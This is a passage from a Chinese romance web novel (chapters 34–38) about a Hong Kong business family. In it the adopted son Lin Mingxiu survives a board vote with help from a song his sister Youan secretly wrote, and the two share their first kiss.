“非要在这个关头吗?”林鹤堂紧拧着眉头。 他知道给林鸣修多少压力都没有用,像这样比谁更倔的较量,自己是一定会输的,就像从前无数次输给顾祈年一样。父子就是父子,他们姓顾的,是不是祖上跟驴有什么渊源? “你这无异于给董事会信号,告诉他们我们父子决裂是真的,叫他们把你投下去。” “所以,请您站在我这边,如果,还相信我的话。” 林鹤堂嗤了声。 原来他不是不懂得服软的,只是在他在意的事情上,分毫不让。 “董事会不是我一言堂。” “那就听天由命了,”林鸣修说,“相信不是所有人,都那么信赖大伯那边的,总有人看得出来,我的存在,对四海有那么一点作用。” 林鹤堂摇了摇头,“我不会轻易将你踢出局,但你要知道……” “我知道,”林鸣修轻描淡写地说,“不是自己人,是得不到您百分之百的信任的,我再也坐不上那个位置了。” “哼,”林鹤堂拍拍他的背,“祝你好运了。” “对了,今晚的家宴还是要参加,明天才杀青,做戏做全。” 林鸣修颔首说好。 他与林鹤堂夫妇同乘一辆车去往名人会所,柚安直接从酒吧开车去,大伯一家也来了。 一行人刚进会所,就碰到王氏集团的王德发。四海本来准备收购他们一块园区的使用权,生意是林鸣修谈下来的,王德发各项配合都很痛快。但是最近听说这个后生仔不得势了,四海董事会要罢免他,所以签最后一道合同的时候,王德发故意刁难,一拖再拖。 这时见到林鹤堂,王德发还是很客气的,握着手寒暄了好一会儿,说一会儿送瓶好酒过来。 柚安跟在父亲身后,虽不知这些天林鸣修在公司的遭遇,却明显感到他疲惫了不少,也纳闷这个满面油光的王德发,对他态度比对大伯家三个儿子轻慢得多,很久没见到这样的场面了,好像时空倒转,回到了他刚跟着父亲的那个时候。 晚餐吃到一半,王德发果真来拜访,先是送上一瓶私人珍酿,又与林鹤堂和林鹏海敬酒。有来有往,林家的小一辈也逐个回敬王德发。 轮到林鸣修时,他说:“大屿山园区的地,还请王总多多关照。” 王德发瞬间冷下脸来,“今天不谈公事。” “不谈不谈。”林鸣修给王德发斟酒。 他们敬酒喝的是白酒,用喝白酒专用的小酒杯,一杯也就是半口的份量。林鸣修给自己倒酒,用的却是喝红酒的勃艮第杯,倒了满满一杯,一仰头,痛快喝下。 柚安看得胃里一抽。 林鹏海这时开口:“看来,大屿山的项目谈得不顺利啊,鸣修,你把王总怠慢了?” 林鸣修说:“我哪里敢。” 林景琛也搭话:“大屿山的项目搁置得有点久了,肯定是王总有什么不满意。” “这可不行,不管王总对项目满不满意,我们的诚意还是要有的。”林鹏海说着,找人开了一瓶新的白酒,递到林鸣修手上。 这个过程中,柚安不动声色地来回观察父母,尹晴不好插嘴也就算了,林鹤堂也是一副作壁上观的姿态,看得她焦急烦躁,心口像煮了一锅辣椒。 她忍不住拿脚尖碰了碰尹晴的脚,尹晴仍旧什么反应也没有,看都不看她一眼。她更不舒服了,生理上的难受,刚吃下的山珍海味都要吐出来。 奇怪,这里只有自己一个人觉得反胃吗? 其他人怎么全是一片欢声笑语? 她心口的那口锅要炸了。 林鸣修十分配合大伯,面不改色地将白酒倒满勃艮第杯,仰头喝了一杯,又去到第二杯。 涨红迅速爬升至脖颈。 所有人都看着他,王德发尤其看得过瘾。 这时只听一阵噼啪声,柚安不小心将红酒杯掉到了地上。她穿着一件纯白的长裙,红酒弄脏了一大片,连鞋也打湿了。 “哎呀,”坐在旁边的尹晴惊道,“怎么这么不小心?别踩到玻璃渣。” 几名侍者匆匆进来,拿着毛巾毛毯。 柚安生气极了,借由红酒,将刚才的恶心全部发泄出来。 她走出座位,侍者跟在她后面服侍,她嘴不停。 “裙子唔可以噉擦嘅,呢条毛巾系咩料嚟嘅啊?” “哎吔,咪帮我擦喇!蠢手蠢脚嘅!擦烂咗要你赔,咪喺度喊啦!” “嗌经理过嚟!” “有冇后备衫啊?先畀我换过件啦!” …… 几句责备声音不大,语气也并不尖锐凶悍,但大小姐提着裙摆轻眉头的样子,还是让几个年轻侍者红了脸,听她声音飘来,更是紧张慌乱。 进来的侍者越来越多,经理也进来了,全场的焦点瞬间转移到柚安这边。 “柚安,先去休息室换件衣服吧,我陪你去。”陈静淑站起来要扶她。 柚安甩开陈静淑,将高跟鞋踩得震天响。 “换什么换?谁知道他们准备的什么衣服?烦死了,我不吃了!” 都说林家大小姐是个天也管不住的,王德发这下算是见识了,气氛被带偏,他也没了继续刁难林鸣修的心情,再寒暄两句,便找机会退了。 柚安亦踩着高跟鞋径直离开包间,头也没有回一下。经过王德发身侧的时候,细高跟狠狠踩了对方脚背一脚,王德发哼也没敢哼一声。 第35章 看到你的每一天,都会从…… 名人会所的后面有一个独立庭院, 柚安背靠楼体的白墙,看着庭院里的景色。 深冬露重,庭院没有一个人,几处悉数的灯火将景色照得格外清冷。此刻小雨方歇, 屋檐的水滴形成水帘, 淅沥沥滑落, 耳边一片清凛。 她的外套落在包间了, 白色的裙子被红色染了一大片, 湿湿地贴在身上,风吹过, 双手将胳膊环抱。 失神中,一个身影落在近旁。 林鸣修将自己的西服外套递给她, 然后双手插兜,也靠在墙上。 他的白衬衫领口开着, 里面一大片红, 爬上脖子, 脸色也醺然。 柚安见过几回他应酬喝醉被送回来的样子, 他从不发酒疯, 也不说醉话,只是一味地睡觉, 喝得越醉睡得越死。 “进去吧, 喝多了吹风更难受。”她乜斜他一眼。 “里面闷。”林鸣修说着, 看了一眼她的裙子。 柚安连忙撇清:“不是帮你啊,我就是,看那个王总觉得讨厌。” “嗯,我知道。”林鸣修头靠在墙上,喉结滚了滚。 水榭泛起雾气, 景色氤氲在潮湿里,眼睫好似要凝起露珠,柚安眨了眨眼睛说:“不是阴险小人,就是脑肥肠圆的老登,你天天打交道的,就是这些人吗?” 林鸣修笑了声,“是小人,还是小天使,取决于你坐在哪个位置,什么圈子都是这样的,我不特殊。” 柚安垂眸说:“看来,你最近混得很不好。” “是遇上点麻烦。”林鸣修仰头说。 “可是,你不是才帮四海度过危机吗……哦,我知道了……”柚安恍然大悟,“是因为,那天你从宴会上溜走吧!爸发火了是不是?” 林鸣修笑了笑,说:“是啊。” “难怪刚才爸一句话也不说……”柚安心想,他但凡皱下眉头,王德发和大伯都不敢骑在林鸣修头上。 “你现在知道不听话,爸会变得多恐怖了吧!哎呀,真想不到,你也有今天,是才发育到叛逆期吗?” 话没说完,林鸣修忽然转身面向她。 他的眼神深了又深,柚安忽然一句话也说不出来。 果真是喝多了,他踉跄地倒向她,鼻尖就要碰到的时候,伸臂撑在了她背后的墙壁上。 头无力地垂下去,隔着长发,挨在柚安的颈肩。 她低头,看见他脖子上血管跳动,淡青色,一直延伸到衬衫里,衬衫里,红晕四处蔓延。 一股冰凉的气息贴近,迅速变得炽热,柚安紧紧贴在墙上。 没有实质的触碰,但感觉身体整个被笼罩着。 她讨厌酒精的味道,但可能因为是被他带来的,所以那气味并不刺鼻,混着他身上温和的木质香味,和他灼热的鼻息。 “你怎么啦?”她听到自己声音轻飘飘的。 半晌,林鸣修混杂不清地说,“透不过气。” “不过,马上就好了,过了今天。” 柚安没太听懂,她只注意到他说话时,喉结上下滚动,像在吞咽什么滚烫的东西。 很累啊,那就让一下你好了。 她这样想,便没有躲开,两个人安静地站着。 林鸣修是那种喝醉了也有跟绳索约束着的人,他像一颗树,枝干强健宽阔,枝繁叶茂地荫蔽着她,枝叶间的浆果发酵出靡人的酒香,柚安觉得自己也有点醉了,她轻轻闭上了眼睛,恍如被一棵雾凇拥抱. 第二天,林鸣修更姓,与林家划分关系的新闻,闹得满城风雨。 得知这一消息的时候,柚安正在酒吧的工作室埋头写歌。 她将后场办公区改造成了一个简单的音乐工作室,窝在里面废寝忘食。 各种乐器都办了进来,谱子洒落满地,她坐在地上,腿上放着笔记本电脑,右手还抱着吉他,左手攥紧手机,眼睛要看穿屏幕。 在那一天的渔船上,她就浮出过这个念头,但当它真正发生的时候,震惊和害怕还是丝毫不减。 怔了不知道多久,她给林鸣修打去电话,劈头就问:“你在搞什么!” “想要当面谈吗?我就在你店附近。”那边风轻云淡的。 不得不承认,他低声说话时,声音非常好听。 “不要!”柚安不知哪里来的气。 过了会儿,还是说:“你来吧。” 几分钟后,林鸣修到了。 就连送他进来的阿谨,看他的眼色都有几分怪异。 门被关上,房间里只有他们俩人,因为放了很多乐器,显得有点拥挤。柚安挤在乐器中间,写起歌来她昼夜颠倒,吃饭睡觉不定时。此刻长发胡乱束起,也没有化妆,显得几分零乱。 林鸣修也好不到哪里去,他瘦得像生了病,脸色苍白发青,几乎能看到皮下脆弱的血管。 柚安仿佛看到前前后后几双大手将他压着,束缚着。 但他的神色却前所未有地松脱。 他穿着随意的休闲裤和外套,整身黑色,外套里一件白T,清爽利落。头发微湿,发尾滴着水,原来外面下雨了,雨声打在窗檐上,淅淅沥沥的,醉心写歌的柚安这才发觉。 林鸣修拨了下头发,几滴水溅到柚安的手臂上,她不客气地说:“你完了顾鸣修,现在我爸也不要你了,那个什么投票一开启,就等着被罢免吧,不管你在赌什么,反正最后满盘皆输,你完蛋了。” 林鸣修觉得好笑,“这难道是什么赌局吗?喜欢一个人,难道是什么赌局吗?” “那我就不懂了!” “有点累了,”他说,“想让自己轻松一点。” “你昨天说,过了今天就好了,哪里好啊?爸不要你了,以后王总李总张总都要来欺负你。” 林鸣修低头笑出声。 他靠在办公桌边的沙发上,那沙发很舒服,柚安的办公室很舒服,简单地工业风,被喜欢的小花,她的音乐,一点点渲染出颜色。她的一切审美,都恰恰好击在他的心坎上。 柚安坐在不远处的地面,见他如此放松自在,更加生气。 她如何会不知道,即便他一无所有了,也不再是从前那个站在水晶吊灯下,前来投奔的湿漉野狗。他如今羽翼丰盈,在哪里都可以打下一片江山。说他全盘皆输,不过是最后的虚张声势罢了。 内心深处,柚安其实理解这种喜欢一个人,从而孤注一掷的感觉。 全世界都在看林鸣修笑话的时候,只有她理解。 孟姨的遗书里说,她的儿子像一张满弦的弓,紧绷了一辈子,不知道有没有喜欢过女人,会不会为了什么,像当年为了热爱,对抗全世界的柚安一样,奋不顾身一次。 这话迟到八年,还是兑现了。 柚安怎会不理解?这一刻,她和林鸣修某些部分是重合的。 那可怕的,该死的奋不顾身,她感同身受。 正是因为这样,所以才生气。 这种感觉让她觉得,她正在向他慢慢靠近。越是靠近,越是感觉到危险。 “你想怎么样?”柚安浑身戒备,“不会以为没有了身份的束缚,就可以……” “就可以怎么样?”林鸣修呷着笑意看向她,那种笑没有恶意,没有企图,单纯就是觉得她胆小得好笑,怎么就偏偏在他身上,没有了那种惹天惹地的胆量? 吉他紧紧地抱在胸前,柚安凶着一张脸威胁:“你要是让爸妈……或者任何人知道,你……那个我,就死定了。” “喂,我问你一个问题,”林鸣修不正面回答,转而问道,“那天,听到我说喜欢你的时候,第一反应为什么不是你的感受,而是别人会怎么看?” “……” 柚安不自觉倒吸一口凉气。 想说不记得了,几句随口说出的话,谁会记得那么清楚? 可她偏偏还记得。 那天之后,她也问过自己,不是该第一时间说,我不喜欢你吗? 还有什么比这个更重要的? “是伦理道德感重,还是下意识逃避自己的感觉呢?”林鸣修看定她说,“我觉得,你道德感没那么重。” 柚安紧咬着唇,心想这人好可怕,第一时间抓住了bug,却没有当场反击,而是等了这么久,在这样一个时刻出手,一出手就将她逼得无路可走。 她宁愿这时有劫匪闯入,一棒子将他薅死…… 天遂人缘,虽然没有天降劫匪,但是林鸣修的电话响了。 他没有避讳,柚安也就听出来,是Kim打来的,他们在说不信任投票的事情。 他并非听天由命,董事会那些老古董的背景和态度,已经被他掌握地七七|八八,哪怕机会渺茫,他依旧没有消极应对。 “我就说嘛,你怎么会没有野心。” “是有的,但世事怎么能两全?”林鸣修挂了电话后说。 “如果你输了,四海会不会垮?” “怎么会垮呢?别小看你爸。” “他不再能够上战场了。”柚安黯然低下头。 “CEO这个位子,不会缺人的,可能是林景琛,可能,大伯重新出山也不一定。” “那不行。”柚安不喜欢站队,她说,“爸不会高兴的。” “也还有很多其他人,四海不缺人才,就像地球少了谁都会转一样。”林鸣修低声说,“别担心了,就算被踢出去,我也还是站在你爸这边的,只要他需要我。” “真的?” “当然了。” 柚安终于安心,哪怕不知道这句话是否安慰的性质更大一些。 她坐在纷乱的曲谱之中,仰头看向林鸣修,两个黑眼圈浓厚的人在逼仄的空间里相视一笑。 柚安不禁问:“到底是哪一天,你开始喜欢我的?” “不会是来我家的那天吧!”她努力地回想,“那也太可怕了!” 她那时待他那么差。 “说过了,不会告诉你的。”林鸣修罕见窘迫地低下头。 是每一天。 他心里想。 看到你的每一天,都会从零开始心动一次。 第36章 她想去更远的地方看看了…… 铜锣湾, 下午四点。 柚安跟音响设备商谈妥设备升级,心情不错,打算去时代广场逛一逛再回家。 街上车水马龙,形形色色的路人当众, 一个身材顶级的女人吸引了她的注意。 女人走在柚安前面, 过膝高跟长靴, 紧身的牛仔裤, 短款夹克, 腰间不经意露出一小截,行走间, 后腰一抹红色随腰肢摇曳。 柚安一下子想起黎燃床照上那个女人。 她的后腰正纹着一枝红玫瑰,身材也是这样火辣。 女人不知跟谁讲电话, 激动地路也不看就去过马路,一辆疾驰的计程车开来, 急促鸣笛, 女人惊吓之下扭到了脚, 眼看就要被车撞到。柚安赶紧扯了一把, 两个人一起跌到地上, 司机伸出头骂了句脏话,疾驰而去。 “好险没事。”柚安扶着膝盖站起来。 女人揉着脚踝, 起身有点吃力, 柚安递了把手。 “多谢……”她抬头看到柚安的脸, 表情瞬间僵住。 听到柚安问:“你认识我对吧?” 女人触电一样将手缩回来,拎起包就走。 柚安跟在后头,“你这样不行,我请你坐下喝杯东西?” 女人不理她,一个劲往前走。 她一瘸一拐, 柚安抱着胳膊走在旁边,“我今天一天都有时间跟你耗哦。” 再走几步,女人停下来,无奈地呼一口气,“算了,看在你救我一命的份上。” 十分钟后,两人坐在街角的咖啡店里。 点完饮品,柚安问:“你脚还好吧,用不用买瓶红花油?” 女人说:“别废话了,我知道你想问什么。” 她叫庄艾米,是一名平面模特,事业不温不火,经纪公司都快要倒闭了。她与黎燃认识了三年,在一个共同朋友的生日派对上认识的,甚至互加了联系方式,但黎燃那个神经大条的,朋友太多,转头就将她忘了。 后来,他们又在几个派对上遇到过,庄艾米依然没能吸引黎燃的注意,对他的好感却有增无减。 憋了很久,直到想要主动采取攻势的时候,突然杀出个林柚安,一下子就把黎燃的心勾走了,庄艾米气得牙疼。 恰在这个时候,Kim找到她,给她出了那么个点子,并承诺不菲的酬劳,她动心了。 柚安寻着庄艾米的手指望向窗外,对面时代广场的外墙上,大幅奢侈品广告的其中的一个模特,正是面前这位美女。 难怪她见柚安,会那么心虚,喜欢黎燃而做这种事,心态是不一样的。 “哇,你好美。”柚安看向庄艾米,女人欣赏女人的眼神。 庄艾米不好意思地浅浅一笑。 “之前认识Kim吗?”柚安问。 “不认识,但他神通广大,知道不少我的事。不过,我喜欢黎燃这个事,也不算秘密,”说了这么多,庄艾米神色中已没有戒备,放松下来,她话也多了,说,“他查我,我也查他,原来他是帮林鸣修做事的,不就是你大哥?怎么,你们家管得严,不让你跟搞乐队的谈恋爱啊?” 柚安笑出了声,脱口而出说:“我哥是个变态。” 庄艾米露出费解的眼神,接着也笑了,“呐,现在你知道怎么回事了,不恨我吗?” “不会,我跟黎燃还是好朋友,这样的关系就很好。”柚安想了想道,“你还是跟他说清楚吧,毕竟你们认识,他曾一度很煎熬。” “……哎,算了吧,太丢脸了,”庄艾米迟疑半晌,对柚安说,“没有想到能跟你喝着咖啡,心平气和地聊这件事,你没有他们说的骄横霸道,早知道你是这样的,我当初就不会那么想不开了。” “算了,事情都过去那么久了。”柚安抿了一口咖啡。 她风轻云淡的态度令庄艾米感到意外,在大街上被认出来的时候,她就已经做好了被这位大小姐扇巴掌的准备了。用不齿手段换来的工作机缘,也会被她一巴掌按死。 一阵沉默,庄艾米盯着面前的陶瓷杯子想了又想,终于忍不住道:“其实,那晚什么也没发生,黎燃真是个傻子。”她苦笑。 柚安目光惊诧。 庄艾米接着说:“他那晚喝得烂醉,躺到床上就开始喊你的名字,这么下头,我拍了照片转身就走了,一刻不想多呆。” 她用搅拌棒不客气地敲了敲陶瓷杯,发出叮啷两声,“我回去就拉黑他了,这个男人在我这里已经彻底pass了,一回想那个画面,就像被塞了口苍蝇那么恶心。” 看着柚安惊讶到说不话的样子,庄艾米笑问:“怎么,不知道他这么喜欢你?” “……我在想,放下一个人,也就是一瞬间的事,过了那瞬间,就再也找不回痴迷他时的感觉了。”柚安手撑着下颌,“可是那个瞬间,需要天大的机缘。” 对面的女人笑了,“帮我个忙吧。” “什么忙?” “呐,我是说不出口的,但是如果知道真相,能让黎燃好受些的话……你帮我告诉他吧,说不定你们误会解开,还能复合呢。” 柚安想了想,答应了她。 艾米走后,就给黎燃打去了电话。 黎燃一出道就大红,几首单曲问世,立刻在港乐圈掀起波澜。 听他说正在录音棚录歌,柚安就打算过去一趟,但黎燃说他马上录完了,让柚安在此处等他。 录音棚也在铜锣湾,没等多久人就来了。他既没有戴墨镜也没戴口罩,头上一顶黑色的鸭舌帽,坐下就摘了。 曾经也是公众人物的柚安立刻警觉,叫他把帽子戴上。 黎燃笑着听话戴上,转头对柜台里偷偷看他的店员们勾了勾嘴角,那头一片惊呼雀跃。 柚安无奈地摇了摇头。 喝第二杯咖啡的功夫,她将刚才遇到庄艾米的事情讲给黎燃听。 随着柚安的讲述,黎燃眼睛逐渐圆瞪。 “什,什么都没发生?什么也没发生?!你说什么?什么也没发生?!” “你醉得不省人事,能干什么?”柚安心虚地别开了目光,隐去了喊她名字的事。 听到这里,黎燃终于知道慌张地四下张望了,他的脸也迅速红了起来。 “这下,你不必自责了吧。”柚安安慰。 她根本不知道黎燃此刻心情有多复杂。 他顶着一副介于哭和笑之间的扭曲表情,摇了摇头,然后把脸遮了起来。 为缓解气氛,柚安问他歌录得怎么样,向他要新歌的demo来听,黎燃将demo传过去,她就戴上耳机听起来。 她的表情沉浸在音乐里,而后露出享受的笑容,听到惊喜的旋律,目光悦动流淌,黎燃恍然陷落,心旌荡漾。 “如果过了这么久还是放不下,算不算无可救药了?还是喜欢你怎么办?” 他脱口而出才感到后悔,幸而柚安罩着耳机。 耳机里的歌唱完了,柚安没听清他的话,但见他神情古怪,便问:“你刚刚是不是问了我什么?” “呵,我啊……”黎燃低头笑了笑,他是那种一点点喜欢都隐藏不住的人,这一点与林鸣修正好相反。 哪怕做好被毙的准备,他依就坦然问道:“我问你,现在误会解开了,我们之间的问题是不是只剩下陆野了?你不确定也没关系,我有一辈子的时间,陪你找到答案。” 是纯粹地喜欢他,还是他脸上有昔日喜欢人的影子,这个问题一直横亘在他们之间,成为很深的芥蒂。 但喜欢一个人,又会令人何等卑微? 黎燃决心不去在意,一切随她心意。 他浑身充盈着赴死的决绝,看定柚安的眼睛。 而后发现,她看自己的眼神不一样了。 她的眼神格外认真,好像在自己脸上寻找着什么,又因为找到了,而逐渐澄明。 看到那剔透的瞳仁,黎燃才发觉她从前看自己的脸时,目光是蒙着一层阴翳的,即便是笑着。 这样的反差,本身就是答案。 他终于明白,她走出来很久了,而自己被留在过去。 难过一发不可收拾。 “那个问题啊,无解的。”柚安想苦思冥想,最终像解出难题的小孩那样高兴。 “你一直想它,它就永远没有答案,你将它丢掉,它就根本不是问题了。现在,太麻烦的事情,我是不会放在心里的。” 咖啡店的门被一批游客推开,叽叽喳喳的说话声涌入静谧的空间,窗外一对牵狗的夫妇悠闲走过,归家的学生穿着制服你追我赶,紫色的夕阳洒在花圃上,两只淡黄色蝴蝶翩翩飞过…… 柚安一瞬间觉得,从玻璃罩中释放出来了,世界那么鲜活而清晰,她想去更远的地方看看了。 “知道了,”黎燃往后一靠,眼神落寞,“再见吧。” “再见什么,红了就不认人了?” 黎燃叹气,“你太难为我了,照顾照顾受伤的人吧。” “你回去打几场拳就想明白了,”柚安微笑,“以后办演唱会,记得给我留票啊,不然我会冲到后台去揍你的。” “你怎么知道我现在特别想冲去拳馆?”黎燃摇摇头,放声笑出来. 两天后,四海寰宇的董事会投票正式开启。 局势对于林鸣修并不好,唯一的救命稻草林鹤堂投了弃权票,其他的董事没人敢为年轻人背书,倒是梁太投了扭转局面的关键一票。 有了她的支持,几个董事转而抛弃林鹏海,跟着投了林鸣修,最终为他赢得胜局。 Kim守在会议室外,看到林鹏海和林景琛出来时的脸色,在心中窃喜,等林鸣修走出来,一行黑西服助理跟随他而去,各个面无表情,暗自在心里放烟花。 林鸣修却没心情开香槟,他当即吩咐,查明梁太背刺林鹏海的原因。 助理回报说,梁太与林鹏海一家并无瓜葛,换边站队,也许真的是出于对林鸣修的欣赏。 林鸣修的辞典里不容许有“也许”出现,他下令一定要将事情查个清清楚楚。 几天过去,除了取消了几次与陈静淑的饭局,梁太并无动静。 她股份虽多,却并不实际参与公司执行层面的事务,心力都用在慧慈雅集上,这是一个国际知名的女性名媛慈善团体,刚刚换届,梁太就是这一届的会长。 这阵子风声水起的“守护星星·慧梁暖医行动”,就是梁太一手创办的,旨在加强弱势妇女儿童的医疗保障。 活动涉及海峡内外,许多名人为其站台。 近日,慧慈雅集发布了活动主题曲,词曲作者和演唱者都是梁太的一双儿女。 林鸣修从Kim手里接过耳机,旋律响起,他面色渐渐凝重。 助理团观察着boss的神情,正要开口,林鸣修却挥挥手,让他们都出去。 他的心绪难以名状。 没等一曲结束,他当即摔了耳机,朝夏山郡奔去. 第37章 “可是刚刚,你张嘴了。…… 深冬难有鸟鸣, 万籁寂静。 柚安躺在夏山郡卧室的床上,耳边是远方传来的零乱涛声,心想这风是要刮一夜啊。 为了“守护星星”主题曲的事,她在酒吧和音乐工作室两处跑, 连轴转了一个礼拜, 今天第一次着家。 主题曲问世了, 反响还不错——虽然没有她的名字。 四海董事会的投票也尘埃落定, 林鸣修的位置保住了。 她该睡个好觉了。 可是从晚上八点一直躺到十点半, 脑仁在半睡半醒中浑得像浆糊一样,还是没能入睡。心里总有事情如风带起潮汐, 却又捉不住。 就在这时,手机响了, 捞过来一看,是林鸣修打来的。 他鲜少给她打电话, 更别提这么晚的时候。 一接通, 对方劈头就问:“歌是不是你写的?” 声音沉沉的, 显得四周更安静了。 柚安刚要说话, 佣人过来敲她房门。 “小姐, 夫人问您要不要下楼吃燕窝。” 那声音间隔一秒之后,竟从听筒里传了出来, 柚安惊出一身冷汗。 “不去, 我睡了!”她忙应声。 打发过佣人后, 急忙冲到门前,贴紧着话筒斥问:“你在哪?” “我在你隔壁书房。”林鸣修据实以答,“爬墙进来的。” 一小时前,他开车飞驰在沿海公路上,一路冲动难以言喻, 只想见她。 直至开到山下,才想起如今的身份,已不适合在这个时间,公然出现在夏山郡了。 但还是想见她。 想见她的冲动从脚底爬升至胸腔,扼住咽喉,蔓延至颅顶。 凭借矫健的身法和对地形的熟悉,他轻车熟路地躲过监控,翻墙而入。其间一个巡视的安保认出他来,但多年交情,对方犹豫半秒后,选择默默走开了。 柚安的卧室亮着微光,影影绰绰。从窗而入对他来说不是难事,但他不想吓到柚安,也缺少些中世纪男女偷偷爬窗幽会的浪漫和匪气,纵使很想很想,修炼半生的克制和理性依旧占据上风。 最后,他翻进隔壁书房,坐在沙发里,拨通了电话。 钟爱的那具沙发,离柚安房间只有一墙之隔,书房的陈设一如往昔,连一支小小的钢笔都没有被动过。 他更感酸涩,反倒希望他的书、他的物品、他的痕迹统统被林鹤堂清理干净,或许那样,能够免除些愧疚。 “不是我。”柚安冰冷地否定。 那首歌离当初在酒吧唱的初版,已经相差十万八千里,歌词根据慈善主题重新填写了,曲也加入男调,改成合唱。她不想叫人听出来相似,那样麻烦更多,这些天费尽心血,就是为了这件事。 如果说林栖他们听得出来,那也说得过去,但她不相信林鸣修那个外行能懂,原本计划是瞒着他一辈子。 可是在无数个她一无所知的深夜里,林鸣修已经将沾她名字的每一首歌循环千万遍。旋律用词如刻烟吸肺,可能比她自己都要熟悉。 “是吗?那么过来,看着我的眼睛,亲口跟我说。”林鸣修道。 他此刻五内翻滚,难以分辨是生气柚安将心血拱手送人,还是感动她出手相救。如果真要相较一番,应该还是生气占上风的,因为他无法容忍她如此轻率地对待自己的才华和作品。 在一次又一次循环聆听之中,他早已将那些歌视作珍宝灵药,不可侵犯,怎么她自己却不知道? 但她这样做,却也保住了他的地位。 巨大的矛盾感。 仿佛在黑暗中爬行已久的人,终于看到一线月光。只是一线,却已是耀眼到他无法承受的程度,对他这种习惯于阴冷潮湿的人来说,实在太灼热了。 他满心欢喜,又心疼怜惜。冒着被灼伤的风险,贪婪地想要索取更多。 佣人似乎是走了,脚步声远去,走廊上一点声音也没有。 柚安浑身紧绷,贴门而立,就在这时,耳边响起隔壁的开门声,以及逐渐逼近的脚步声。 他竟在门外了。 “你不来啊,那我过去找你了。”他头抵着柚安的房门说。 柚安心下一凛,血液直冲上脑门,手上下意识握住门把,嚯地将门拉开,一把将其拽进来,然后飞快带上房门。 “你疯啦?叛逆期真的迟到了是不是?现在才发育到中二?” 她说着,视线撞入他眼里,就骂不出来了。 想要抵死不认那歌是她写的,发现根本说不出话来,在那样赤诚的一双眼睛面前,任何谎言都显得拙劣且幼稚。 “歌是我写的,”她转身不去看他,“那又怎么样?” “没有这个必要。”林鸣修说,“梁家那两个草包不配。” “这也是为我自己利益考量。”柚安背对着他,抱紧胳膊向前走,“我不想如大伯的意,眼睁睁看着他们把你弄走。知道美诚饼记吧,港岛开了十几年的老品牌,岁数比我爸还大,谁家中秋不买他们家一盒月饼?前年老总过世之后,膝下几个儿女不好好经营,只知道打遗产官司,现在街上再也看不到这家老店的招牌了,我不想今后也面临这样的局面。” “那首歌,我就是写来玩的,本来就没准备发行,梁太赏光看中,让它发挥更大的作用,有什么不好呢?就算没有在董事会保下你,也能把她从大伯那边拉过来,从今往后多一张牌,对我有利无害。” “看到大伯他们一家被摆了一道,想破脑壳也想不出原因的样子,我就好开心。” 她边说边走,语速很快,极力地想要说明,跟梁太的这把交易,再赚不过,绝对不值得这个颠佬大半夜翻窗找她质问。 林鸣修就跟在她身后,沉默不语。 她说完一转身,两人的距离猛然间拉近。 刹那间,世界仿佛被按下静音键,黯淡的光影下,一切静谧无声。 几乎在她转身的同时,林鸣修伸臂抱住了她。时间卡地太过精准,就好像她的转身,是为了迎合这个拥抱,一切竟显得顺理成章。 柚安完全没有料到,她更没有料到自己会出奇平静。 男人胸膛坚实挺阔,没有任何力道,也没有一点强制意味,仅凭身高差,就能将她包裹地密不透风。 可是隔着薄薄衣料传来的心脏搏动声,在黑夜里分明那么强烈,和他温柔的动作反差鲜明。 柚安的脸部开始升温,怀疑那搞不好是自己的心跳。 “咚咚——” 门又被敲响了,柚安在怀里吓得一激灵。 “不是说了不吃吗?” 她双臂一挣,想要分开,对方却在这时开始用力,拒不放行。她拧眉抬头,只见他的瞳孔深了又深,像三号台风下,波涛翻滚的海平面。 “柚安,是妈妈。”门外传来尹晴的声音,“你爸今晚不回来,我想找你谈谈,关于……鸣修的事。”柚安这个夜猫子不会在转点前睡的,一回家就闭门不出,尹晴猜她有什么心事。 “……!” 柚安的心脏仿佛被重重捏了一下,她仰头与林鸣修眼神对峙,一颗心脏鸡飞狗跳。 “明天再说吧,我好困了。” 话音刚落,那个男人的吻就落了下来。 氧气瞬间被夺走,身体如失重般向下陷,她被锁在臂间,深感顺应地太过窝囊,却又不敢发出半点动静,艰难地默数着门外的安静。 索性他吻地很轻,唇齿轻轻辗吮,极有耐心地试探。 她闭眼前,最后的画面的林鸣修深长的眼睫。 漫长的数秒过后,门外响起尹晴渐远的脚步声。 一颗心才刚放下,对方蓦地加深了力度,舌尖强势地闯入,毫不掩饰其占有欲。好像枯寂的草原,被一点点星火燎成了火海之势,那些深锁的渴望,他全部都要释放出来。 “顾……鸣修……”她挣扎着捶了他两拳,喘息间,艰难地将他名字挤出口,然后后面骂人的话,全被吃进去了。再听到的,只有自己不成器的嘤咛。 身体软得一塌糊涂,偏他的拥抱那么霸道,好像要将她揉碎。 在理智彻底远去之前,她将心一横,狠狠咬了对方唇瓣一下。 伴随着濡湿的触感,铁锈味递到她舌尖。 他深吸一口气,放开了她,拇指抹过唇瓣,看着指腹上的鲜血,轻拧着眉头。 理智回笼,林鸣修见她眼底含了一大包泪,终于开始害怕,“对不起,弄疼你了?” 这是他第一次接吻,根本毫无技巧可言,全凭直觉和感官带路。这太危险了,他发现,没有理智当绳索,身体会变成放弃思考,贪得无厌的野兽,只听从最原始,最肮脏的欲望。 柚安仰起脸,不让一滴眼泪流出来,她也不知道眼底的酸胀从何而来,是对他突然变得强势而愤怒,还是对自己绵软到不可控,而感到紧张、恐惧。 不想让林鸣修探得一丁点真实情绪,她防御地环抱双臂,姿态高傲。 “你该不会以为我跟梁太的交易里,有对你的私情吧?我说过的,那只是一首写来玩的歌,恰巧被她相中而已,获利人是我自己,我只为我自己,不为任何人,你不许自作多情。” “是吗?”林鸣修的目光暗淡下去,“私情,真的一点也没有吗?” “没有。”柚安想也不想就作答。 “可是刚刚,你张嘴了,”林鸣修说,“你先张嘴的。” 第38章 “我喜欢你。” 柚安不记得自己是怎么睡着的。 睡着之前她一直在想, 但凡那时脑子能够清醒一点点,事情就不会发展成这样。 可是睡梦中,神奇的大脑回路,竟开始重温当时因太过懵圈, 而遗落的种种细节—— 当她下意识躲避时, 他的手掌在她脑后, 迫使她贴得更近。 他的呼吸是紊乱的, 罕有这样粗沉的鼻息。但味道却是清冽干净的, 像悬崖峭壁上起雾的深夜,松林耸立, 风清月明。 不得不说,至少在梦里, 她喜欢这气味,喜欢与他肌肤相贴的缠绵。 醒来后, 背脊额头沁出一层薄汗, 心跳得剧烈, 像要烧起来。在床上坐了好一会儿, 胸腔依旧“咚咚——咚咚——”鼓胀不已, 直到汗凉透,被风一吹, 冷得发颤。 她机械地去浴室洗澡、换衫, 全程心猿意马。 尹晴下楼用早饭时, 看见餐桌前等待她的女儿,托着腮发呆,嘴中喃喃:“完了。” 